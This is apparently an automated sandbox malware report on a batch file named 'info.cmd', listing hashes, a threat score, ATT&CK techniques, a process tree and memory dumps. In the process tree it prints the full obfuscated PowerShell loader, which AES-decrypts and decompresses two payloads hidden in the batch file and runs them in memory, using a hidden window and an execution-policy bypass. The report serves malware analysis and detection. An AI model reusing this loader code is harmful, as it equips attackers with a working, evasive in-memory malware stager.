c153c05ebbf7db866984c1b21da5bfebbaedcfa5fce0cecb09a50377e0503a53

General

Target

info.cmd
Size

80KB
MD5

43f3ee9c714203eeccd5503d17a36105
SHA1

d554becc96c1296d948382fd2ea8c1a1ad0184c8
SHA256

c153c05ebbf7db866984c1b21da5bfebbaedcfa5fce0cecb09a50377e0503a53
SHA512

f54a1bc1772bd6c6651dc2df50fa2cfca70c7bd8b89307d66e3a290aa881c7cda5176ead1b00566f54d729e68cbd57832d02580664da9a361ee1db95b5ac296d
SSDEEP

1536:UlFEtm9P8DRSi0ga9pZ8nS0JdX48PiZ5LU/8ZeMhRY6NP/gLl+uC:UlgROg6N0x6ZxUEXRYA/8lE

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2064 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2064 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2064 powershell.exe

pid	process
2064	powershell.exe

pid	process
2064	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2064	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1680 wrote to memory of 2084	1680	cmd.exe	cmd.exe
PID 1680 wrote to memory of 2084	1680	cmd.exe	cmd.exe
PID 1680 wrote to memory of 2084	1680	cmd.exe	cmd.exe
PID 1680 wrote to memory of 3032	1680	cmd.exe	cmd.exe
PID 1680 wrote to memory of 3032	1680	cmd.exe	cmd.exe
PID 1680 wrote to memory of 3032	1680	cmd.exe	cmd.exe
PID 1680 wrote to memory of 2064	1680	cmd.exe	powershell.exe
PID 1680 wrote to memory of 2064	1680	cmd.exe	powershell.exe
PID 1680 wrote to memory of 2064	1680	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\info.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:2084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pPLpJHM4GQSp820ezozLInZkcLGjwzAfhFyAUo/d1yU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kFkMa+H0Xjazq+yg0jtHMw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $liFcl=New-Object System.IO.MemoryStream(,$param_var); $YKPPP=New-Object System.IO.MemoryStream; $DrFOQ=New-Object System.IO.Compression.GZipStream($liFcl, [IO.Compression.CompressionMode]::Decompress); $DrFOQ.CopyTo($YKPPP); $DrFOQ.Dispose(); $liFcl.Dispose(); $YKPPP.Dispose(); $YKPPP.ToArray();}function execute_function($param_var,$param2_var){ $aGqbX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rErds=$aGqbX.EntryPoint; $rErds.Invoke($null, $param2_var);}$UsDBW = 'C:\Users\Admin\AppData\Local\Temp\info.cmd';$host.UI.RawUI.WindowTitle = $UsDBW;$rybfn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($UsDBW).Split([Environment]::NewLine);foreach ($bSMhM in $rybfn) { if ($bSMhM.StartsWith('WUgLizIwoCqVFjuaxzXG')) { $FYrof=$bSMhM.Substring(20); break; }}$payloads_var=[string[]]$FYrof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:3032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2064

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2064-4-0x000007FEF4B5E000-0x000007FEF4B5F000-memory.dmp

Filesize
4KB

Download
memory/2064-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2064-6-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-8-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-10-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-9-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-7-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2064-11-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-12-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp

Filesize
9.6MB

Download
memory/2064-13-0x000007FEF4B5E000-0x000007FEF4B5F000-memory.dmp

Filesize
4KB

Download

Analysis

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